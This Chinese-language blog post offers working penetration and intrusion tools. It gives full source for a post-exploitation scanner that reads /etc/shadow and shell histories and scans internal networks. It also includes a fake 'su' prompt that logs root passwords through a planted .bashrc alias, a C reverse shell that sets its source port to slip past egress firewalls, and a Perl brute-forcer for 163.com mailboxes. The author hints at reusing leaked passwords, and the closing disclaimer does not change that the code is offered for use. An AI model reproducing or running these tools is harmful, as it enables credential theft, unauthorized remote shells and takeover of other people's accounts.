渗透测试从互联网找到了入侵内网的入口点之后剩下的就内网渗透测试了。
有人说到了内网还不容易,随便拿个hscan一抓一大把弱口令。我同意这个看法,但是在我看来,内网环境复杂得多,要想精确获取自己想要的目标,要处理的内容要多得多,只有获得了必要的信息,才有的抓的目标,我认为一般内网环境中的渗透测试最难和最重要的是精确的信息收集,剩下的自然可以顺理成章的进行常规的漏洞扫描和利用。如果有一张详细的资产列表、网络规划图和对应的密码列表,就没必要渗透了,直接获取各种权限就得了,但这样的几率很小,但是也是可能的,只要时间允许,也可以做邮件监控、社工分析等,但这是另外一回事了。
第一版写得比较烂,但基本能用,会逐渐改进
【v1功能如下:
1、获取主机信息+dns域传送漏洞利用+root口令嗅探(需要自己调用下代码)
2、获取内网网段收集+存活ip判断(多线程)+常用端口扫描(多线程)
bug : linux下的语法有些报错、linux下的ip存活判断有些问题
【v2更新计划:
1、修复v1存在的bug和编码问题
2、增加敏感文件和配置文件搜索功能
3、弱口令扫描功能
【v3更新计划:
1、修复v2bug
2、增加arp嗅探功能
3、报告输出+交互式美化
【v4更新计划:
1、修复v3bug
2、改进代码效率
下面是v1版本的源码,一个很长的类,本来输出内容是中文提示,后来发现在一些linux上是乱码,索性改成了英文:
- #!/usr/bin/python
- # -*- coding: cp936 -*-
- #coding:utf-8
- import os
- import getpass
- import time
- import socket
- import re
- '''''for portscan'''
- from threading import Thread
- from Queue import Queue
- import platform
- import types
- from subprocess import Popen, PIPE
- '''''for dns'''
- import struct
- import sys
- class InScaner:
- def __init__(self,domain):
- self.NUM = 200
- self._re_IP = r'\d+\.\d+\.\d+\.\d+'
- self._re_startwithIP = r'^\d+\.\d+\.\d+\.\d+.*'
- self._re_network = r'^\d+\.\d+\.\d+'
- self.re_ip = re.compile(self._re_IP)
- self.re_startwithIP = re.compile(self._re_startwithIP)
- self.re_network = re.compile(self._re_network)
- self.host_ip = socket.gethostbyname(socket.gethostname())
- self.domain = domain
- self.path=os.getcwd()
- self.host_hostname = ''#os.popen('hostname').read()
- self.host_id = ''#os.popen('id').read()
- self.host_userlist=[]
- self.host_useronline=''
- self.host_last=''
- self.host_systemId = ''#os.popen('uname -a').read()
- self.host_systemversion = ''
- self.host_shadow = ''
- self.host_issue = ''
- self.host_bash_history = []
- self.host_services = '' #未进行识别
- self.host_ESTABLISHEDlink = ''
- self.host_hackCmd = []
- self.host_complie = []
- self.dns=[]
- #self.dns=['58.83.193.214']
- self.etc_hosts=[]
- self.ifconfig=''
- self.arp=''
- self.route=''
- self.inerwww=''
- self.internetout=''
- self.keyip=[]
- self.keyipmaybe=[]
- self.networkmaybe=[]
- self.network = []#192.168.1.0格式
- self.q = Queue()
- self.s = Queue()
- self.networkIPlistA = []
- self.portlist = [21,22,23,25,80,81,443,1433,1521,3306,3398,5800,5900,5901,5902,6379,7001,7002,7070,8080,8081,8181,8888,9090,9200,27017,28018]
- self.networkIP_portOpen={}
- self.networkIP_weakPass={}
- def HostInfoGet(self):
- print '###################Get localhost information####################'
- print '#####localhost IP####'
- print self.host_ip+'\n'
- _hostcmdList = [
- 'hostname',#主机名
- 'id', #用户id
- '''''
- cat /etc/passwd|grep -v nologin|grep -v halt|grep -v shutdown|awk -F":" '{ print $1"|"$3"|"$4}'
- ''',
- 'w',
- 'last',
- 'uname -a',
- 'cat /etc/issue',
- ]
- print '#####Get hostname#####'
- self.host_hostname = os.popen(_hostcmdList[0]).read()
- print self.host_hostname
- print '#####Get current user#####'
- self.host_id = os.popen(_hostcmdList[1]).read()
- print self.host_id
- print '#####Get users informaintion#####'
- userlist = os.popen(_hostcmdList[2]).read()
- self.host_userlist = userlist.split('\n')
- print userlist
- print '#####Get online users list#####'
- self.host_useronline = os.popen(_hostcmdList[3]).read()
- print self.host_useronline
- print '#####Get users login history#####'
- self.host_last = os.popen(_hostcmdList[4]).read()
- print self.host_last
- print '#####Get linux kernel version#####'
- self.host_systemId = os.popen(_hostcmdList[5]).read()
- print self.host_systemId
- print '#####Get linux press version#####'
- self.host_systemversion = os.popen(_hostcmdList[6]).read()
- print self.host_systemversion
- print '#####Get import local files#####'
- _hostfileList = [
- 'cat /etc/shadow',
- 'cat ~/.bash_history',
- 'cat /root/.bash_history'
- ]
- print '#####Get shadow#####'
- self.host_shadow = os.popen(_hostfileList[0]).read()
- print self.host_shadow
- print '#####Get bash_history#####'
- self.host_bash_history.append(os.popen(_hostfileList[1]).read())
- self.host_bash_history.append(os.popen(_hostfileList[2]).read())
- print '###Get too much###'
- _servicecmdlist = [
- 'netstat -antlp',
- '''''
- netstat -antlp | grep 'ESTABLISHED'
- '''
- ]
- print '#####Get system services and listening Port#####'
- self.host_services = os.popen(_servicecmdlist[0]).read()
- print self.host_services
- print '#####Get network ESTABLISHED#####'
- self.host_ESTABLISHEDlink = os.popen(_servicecmdlist[1]).read()
- print self.host_ESTABLISHEDlink
- print '#####Get cmd can be used#####'
- _host_hackSoft = [
- 'nmap',
- 'nc',
- 'netcat',
- 'wget',
- 'tcpdump',
- 'wireshark',
- 'rpm',
- 'yum',
- 'apt-get',
- 'ftp',
- 'ssh',
- 'telnet',
- 'scp',
- 'nslookup'
- ]
- for cmd in _host_hackSoft:
- typecmd = 'type '+cmd+' >/dev/null'
- try:
- out = os.system(typecmd)
- if 0 == out:
- self.host_hackCmd.append(cmd)
- print '%s is ok' % cmd
- except:
- print '%s is unused' % cmd
- print '###################Get localhost information finished####################\n'
- def mgFileGet(self):
- print '##########获取口令密码文件中。。。。。。##########'
- print 'PHP'
- print 'tomcat'
- print 'apache'
- print 'struts'
- print 'jboss'
- print 'weblogic'
- print 'ftp'
- print 'ssh'
- print 'vnc'
- print 'mysql'
- print 'oracle'
- print 'search'
- pass
- def NetworkInfoGet(self):
- print '####################Get network information####################'
- _netfileListCat = [
- 'cat /etc/hosts',
- 'cat /etc/resolv.conf',
- ]
- print '######Get DNS server IP#####'
- self.dns = self.re_ip.findall(os.popen(_netfileListCat[1]).read())
- for dns in self.dns:
- print dns
- print '#####Get /etc/hosts list#####'
- hosts = os.popen(_netfileListCat[0]).read().split('\n')
- for host in hosts:
- #print host
- _host=self.re_startwithIP.findall(host)
- if _host!=[]:
- self.etc_hosts += _host
- for host in self.etc_hosts:
- print host
- _netcmdList = [
- 'ifconfig -a',
- 'arp -a',
- 'route -n',
- 'ping %s -c 2' % self.domain,
- 'ping 114.114.114.114 -c 2'
- ]
- print '#####Get localhost ip and interface information#####'
- self.ifconfig = os.popen(_netcmdList[0]).read()
- print self.ifconfig
- print '#####Get arp list#####'
- self.arp = os.popen(_netcmdList[1]).read()
- print self.arp
- print '#####Get route information#####'
- self.route = os.popen(_netcmdList[2]).read()
- print self.route
- print '#####Get innerDNSresolve test#####'
- self.inerwww = os.popen(_netcmdList[3]).read()
- print self.inerwww
- print '#####Can search the Internet or not#####'
- self.internetout = os.popen(_netcmdList[4]).read()
- print self.internetout
- print '#####DNS test#####'
- if self.dns == []:
- print 'sorry,we have no the dns ip'
- else:
- for dnsip in self.dns:
- print '###dns %s results###' % dnsip
- try:
- self.GetDomainList(dnsip,self.domain)
- except:
- print '##dns test failed##'
- #获取DNS域传送信息
- print '#####Network exist#####'
- #先收集所有结果中的IP地址,去掉排除的ip地址后,把ip地址转换为网段,之后去重,最后保存
- ip = []
- keyip = []
- keyipmaybe =[]
- network = []
- keynetwork = []
- keynetworkmaybe = []
- _ex_ip =[
- '127.0.0.1',
- '0.0.0.0',
- '255.255.255.255',
- '255.255.255.0',
- '255.255.0.0',
- '255.0.0.0',
- '127.0.1.1',
- '8.8.8.8',
- '114.114.114.114'
- ]
- _iplistsearch = [
- self.host_useronline,
- self.host_last,
- self.host_services,
- self.host_ESTABLISHEDlink,
- self.dns,
- self.etc_hosts,
- self.ifconfig,
- self.arp,
- self.route,
- self.inerwww
- ]
- _iplistsearchmaybe = [
- self.host_bash_history
- ]
- for text in _iplistsearchmaybe:
- if type(text) == type('1'):
- ip+=self.__getIPinStr(text)
- elif type(text) == type(['1']):
- for text2 in text:
- ip+=self.__getIPinStr(text2)
- [keyipmaybe.append(ipnew) for ipnew in ip if ipnew not in (keyipmaybe+_ex_ip)]#ip地址处理
- self.keyipmaybe = keyipmaybe
- #变量中的IP并去重,去无效IP
- ip = []
- for text in _iplistsearch:
- if type(text) == type('1'):
- ip+=self.__getIPinStr(text)
- elif type(text) == type(['1']):
- for text2 in text:
- ip+=self.__getIPinStr(text2)
- [keyip.append(ipnew) for ipnew in ip if ipnew not in (keyip+_ex_ip)]#ip地址处理
- #将IP地址转换为网段,并去重
- self.keyip = keyip
- _ex_network =[
- '127.0.0.0'
- ]
- for netip in self.keyipmaybe:
- network.append(self.__ip2network(netip))
- [keynetworkmaybe.append(net) for net in network if net not in keynetworkmaybe+_ex_network]
- network = []
- for netip in self.keyip:
- network.append(self.__ip2network(netip))
- [keynetwork.append(net) for net in network if net not in keynetwork+_ex_network]
- #筛选出私有IP地址
- _privatNet = [
- '172',
- '192',
- '10'
- ]
- print "network may exist:"
- for net in keynetworkmaybe:
- netsplit = net.split('.')
- if netsplit[0] in _privatNet:
- print net
- self.networkmaybe.append(net)
- print "network exists ensure:"
- for net in keynetwork:
- netsplit = net.split('.')
- if netsplit[0] in _privatNet:
- print net
- self.network.append(net)
- def __ip2network(self,ip):
- return self.re_network.findall(ip)[0]+'.0'
- def __getIPinStr(self,string):
- ip = self.re_ip.findall(string)
- return ip
- __LEN_QUERY = 0 # Length of Query String
- def __gen_query(self,domain):
- import random
- TRANS_ID = random.randint(1, 65535) # random ID
- FLAGS = 0; QDCOUNT = 1; ANCOUNT = 0; NSCOUNT = 0; ARCOUNT = 0
- data = struct.pack(
- '!HHHHHH',
- TRANS_ID, FLAGS,QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT
- )
- query = ''
- for label in domain.strip().split('.'):
- query += struct.pack('!B', len(label)) + label.lower()
- query += '\x00' # end of domain name
- data += query
- global __LEN_QUERY
- __LEN_QUERY = len(query) # length of query section
- q_type = 252 # Type AXFR = 252
- q_class = 1 # CLASS IN
- data += struct.pack('!HH', q_type, q_class)
- data = struct.pack('!H', len(data) ) + data # first 2 bytes should be length
- return data
- __OFFvSET = 0 # Response Data offset
- __TYPES = {1: 'A', 2: 'NS', 5: 'CNAME', 6: 'SOA',
- 12: 'PTR', 15: 'MX', 16: 'TXT',
- 28: 'AAAA', 38: 'A6', 99: 'SPF',}
- def __decode(self,response):
- RCODE = struct.unpack('!H',response[2:4])[0] & 0b00001111
- if RCODE != 0:
- print 'Transfer Failed. %>_<%'
- sys.exit(-1)
- anwser_rrs = struct.unpack('!H', response[6:8] )[0]
- print '<< %d records in total >>' % anwser_rrs
- global __LEN_QUERY, __OFFSET
- __OFFSET = 12 + __LEN_QUERY + 4 # header = 12, type + class = 4
- while __OFFSET < len(response):
- name_offset = response[__OFFSET: __OFFSET + 2] # 2 bytes
- name_offset = struct.unpack('!H', name_offset)[0]
- if name_offset > 0b1100000000000000:
- name = self.__get_name(response, name_offset - 0b1100000000000000, True)
- else:
- name = self.__get_name(response, __OFFSET)
- type = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0]
- type = self.__TYPES.get(type, '')
- if type != 'A': print name.ljust(20), type.ljust(10)
- __OFFSET += 8 # type: 2 bytes, class: 2bytes, time to live: 4 bytes
- data_length = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0]
- if data_length == 4 and type == 'A':
- ip = [str(num) for num in struct.unpack('!BBBB', response[__OFFSET+2: __OFFSET+6] ) ]
- print name.ljust(20), type.ljust(10), '.'.join(ip)
- __OFFSET += 2 + data_length
- # is_pointer: an name offset or not
- def __get_name(self,response, name_offset, is_pointer=False):
- global __OFFSET
- labels = []
- while True:
- num = struct.unpack('B', response[name_offset])[0]
- if num == 0 or num > 128: break # end with 0b00000000 or 0b1???????
- labels.append( response[name_offset + 1: name_offset + 1 + num] )
- name_offset += 1 + num
- if not is_pointer: __OFFSET += 1 + num
- name = '.'.join(labels)
- __OFFSET += 2 # 0x00
- return name
- def GetDomainList(self,dnsip,domain):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect( (dnsip, 53) )
- data = self.__gen_query(domain)
- s.send(data)
- s.settimeout(2.0) # In case recv() blocked
- response = s.recv(4096)
- res_len = struct.unpack('!H', response[:2])[0] # Response Content Length
- while len(response) < res_len:
- response += s.recv(4096)
- s.close()
- self.__decode(response[2:])
- def _ip2int(self,ip):
- return sum([256**j*int(i) for j,i in enumerate(ip.split('.')[::-1])])
- def _int2ip(self,intip):
- return '.'.join([str(intip/(256**i)%256) for i in range(3,-1,-1)])
- def __pingScan(self):
- while True:
- ip = self.q.get()
- if platform.system() == 'Linux':
- p = Popen(['ping','-c 2',ip],stdout=PIPE)
- m = re.search('ttl=', p.stdout.read())
- if m!=0:
- self.networkIPlistA.append(ip)
- if platform.system()=='Windows':
- p = Popen('ping -n 2 ' + ip, stdout=PIPE)
- m = re.search('TTL=', p.stdout.read())
- if m:
- self.networkIPlistA.append(ip)
- self.q.task_done()
- def __portScan(self):
- while True:
- scan = self.s.get()
- portConnect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- portConnect.settimeout(100)
- try:
- portConnect.connect((scan[0],scan[1]))
- portConnect.close()
- self.networkIP_portOpen[scan[0]] += str(scan[1]) + ','
- #print self.networkIP_portOpen
- except Exception:
- pass
- #print e
- self.s.task_done()
- def PortScan(self):
- print '##########Start port scanning.....#########'
- print '###ip alive:###'
- if self.network == []:
- print '!!!!sorry,IP is NULL !!!!!'
- else:
- #得到要ping的ip列表:
- _pinglist = []
- for network in self.network:
- for i in range(1,255):
- _pinglist.append(self._int2ip(self._ip2int(network)+i))
- #开始执行
- for i in range(self.NUM):
- self.t = Thread(target = self.__pingScan)
- self.t.setDaemon(True)
- self.t.start()
- for ip in _pinglist:
- self.q.put(ip)
- self.q.join()
- #打印扫描存活IP列表结果,并给端口开发字典赋值
- for ip in self.networkIPlistA:
- self.networkIP_portOpen[ip]=''
- print ip
- print '###Port opening list...###'
- _scanlist = []
- for ip in self.networkIPlistA:
- for port in self.portlist:
- _scanlist.append([ip,port])
- for i in range(self.NUM):
- self.t2 = Thread(target = self.__portScan)
- self.t2.setDaemon(True)
- self.t2.start()
- for scan in _scanlist:
- self.s.put(scan)
- self.s.join()
- #print self.networkIP_portOpen
- #打印端口扫描结果:
- for ip in self.networkIPlistA:
- portlist = self.networkIP_portOpen[ip].split(',')
- #print portlist
- for port in portlist:
- if port != '':
- print '%s:%s' % (ip,port)
- #先ping,后直接进行TCP连接扫描
- print '##########Port scan finished##########'
- print '####################网络信息获取结束####################\n'
- def PassScan(self,hostsIP,service,port,username,password):
- #支持ssh、telnet、ftp、mysql、oralce
- print '##########Weak password scanning##########'
- return
- def GetRootPass(self): #测试用用不知道好不好用
- _file = open('~/.bashrc','a')
- _file.write("alias su=\’%s+/root.py\'") % self.path
- _file.close()
- current_time = time.strftime("%Y-%m-%d %H:%M")
- _logfile="%s+.su.log" % self.path #密码获取后记录在这里
- #CentOS
- #fail_str = "su: incorrect password"
- #Ubuntu
- #fail_str = "su: Authentication failure"
- #For Linux Korea #centos,ubuntu,korea 切换root用户失败提示不一样
- fail_str = "su: incorrect password"
- try:
- passwd = getpass.getpass(prompt='Password: ');
- _file = open(_logfile,'a').write("[%s]t%s"%(passwd, current_time))#截取root密码
- _file.write('\n')
- _file.close()
- except:
- pass
- time.sleep(1)
- print fail_str #打印切换root失败提示
- pass
- def Runall(self):
- pass
- if __name__ == '__main__':
- out=InScaner('ocellus.biz')
- out.HostInfoGet()
- out.NetworkInfoGet()
- out.PortScan()
- print '###########InScan finished###########'
渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用。
一、记录root密码小工具
root.py
- #!/usr/bin/python
- import os, sys, getpass, time
- current_time = time.strftime("%Y-%m-%d %H:%M")
- logfile="/dev/shm/.su.log" //密码获取后记录在这里
- #CentOS
- #fail_str = "su: incorrect password"
- #Ubuntu
- #fail_str = "su: Authentication failure"
- #For Linux Korea //centos,ubuntu,korea 切换root用户失败提示不一样
- fail_str = "su: incorrect password"
- try:
- passwd = getpass.getpass(prompt='Password: ');
- file=open(logfile,'a')
- file.write("[%s]t%s"%(passwd, current_time)) //截取root密码
- file.write('n')
- file.close()
- except:
- pass
- time.sleep(1)
- print fail_str //打印切换root失败提示
渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本
二、设置源端口反弹shell
渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,Ping了下百度,可以ping通。那真相只有一个,服务器变态的限制了只能某些提供已某些端口为源端口去连接外面。
比如:只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。
谷歌程序无果,自己查了相关api后写了个。
client-port.c
- #include
- #include
- #include
- #include
- #include
- void error(char *msg)
- {
- perror(msg);
- exit(0);
- }
- int main(int argc, char *argv[])
- {
- int sockfd, portno, lportno,n;
- struct sockaddr_in serv_addr;
- struct sockaddr_in client_addr;
- struct hostent *server;
- char buffer[256];
- if (argc < 3) {
- fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);
- exit(0);
- } //三个参数,目标主机,目标主机端口,本地源端口
- portno = atoi(argv[2]);
- sockfd = socket(AF_INET, SOCK_STREAM, 0);
- if (sockfd < 0)
- error("ERROR opening socket");
- bzero((char *) &client_addr, sizeof(client_addr));
- lportno = atoi(argv[3]);
- client_addr.sin_family = AF_INET;
- client_addr.sin_addr.s_addr = INADDR_ANY;
- client_addr.sin_port = htons(lportno); //设置源端口
- if (bind(sockfd, (struct sockaddr *) &client_addr,
- sizeof(client_addr)) < 0)
- error("ERROR on binding");
- server = gethostbyname(argv[1]);
- if (server == NULL) {
- fprintf(stderr,"ERROR, no such host ");
- exit(0);
- }
- bzero((char *) &serv_addr, sizeof(serv_addr));
- serv_addr.sin_family = AF_INET;
- bcopy((char *)server->h_addr,
- (char *)&serv_addr.sin_addr.s_addr,
- server->h_length);
- serv_addr.sin_port = htons(portno);
- if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) //连接
- error("ERROR connecting");
- dup2(fd, 0);
- dup2(fd, 1);
- dup2(fd, 2);
- execl("/bin/sh","sh -i", NULL); //执行shell
- close(fd);
- }
用法:
- gcc client-port.c -o port
- chmod +x port
- ./port 你的IP 你的监听端口 本地的源端口
如 ./port http://www.91ri.org 80 80
成功反弹shell 提权成功
三、邮箱爆破脚本
某个时候,需要爆破一批邮箱。
Burp163.pl
- #!/usr/bin/perl
- use Net::POP3;
- $email="pop.163.com"; //设置pop服务器地址 qq为pop.qq.com
- $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
- print $pop->banner();
- $pop->quit;
- $i=0;
- open(fp1,"user.txt");
- @array1=<fp1>;
- open(fp2,"pass.txt");
- @array2=<fp2>; //从文件中获取邮箱用户名及密码
- foreach $a(@array1) {
- $u=substr($a,0,length($a)-1);
- $u=$u."@163.com";
- foreach $b(@array2) {
- $p=substr($b,0,length($b)-1);
- print "cracked with ".$u."-----".$p."n";
- $i=$i+1;
- $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
- $m=$pop->login($u,$p); //尝试登录邮箱
- if($m>0)
- {
- print $u."------------".$p."----"."success"."n";
- $pop->quit;
- } //成功登录
- else
- {
- print $u."------------".$p."----"."failed"."n";
- $pop->quit; //登录失败
- }
- }
- }
- print $i;
用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱
- $email="pop.163.com";
再将去除掉@后面部分的邮箱地址比如[email protected] 去除后lusiyu存进去
同目录user.txt中吗,再将字典存进去pass.txt
你会说:这个有点鸡肋吧?万一邮箱的密码很复杂。
呵呵。
搞到了一个小站的数据,用这个程序批量测试密码是否就是邮箱密码。
呵呵,我啥都没说。
这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。
No comments:
Post a Comment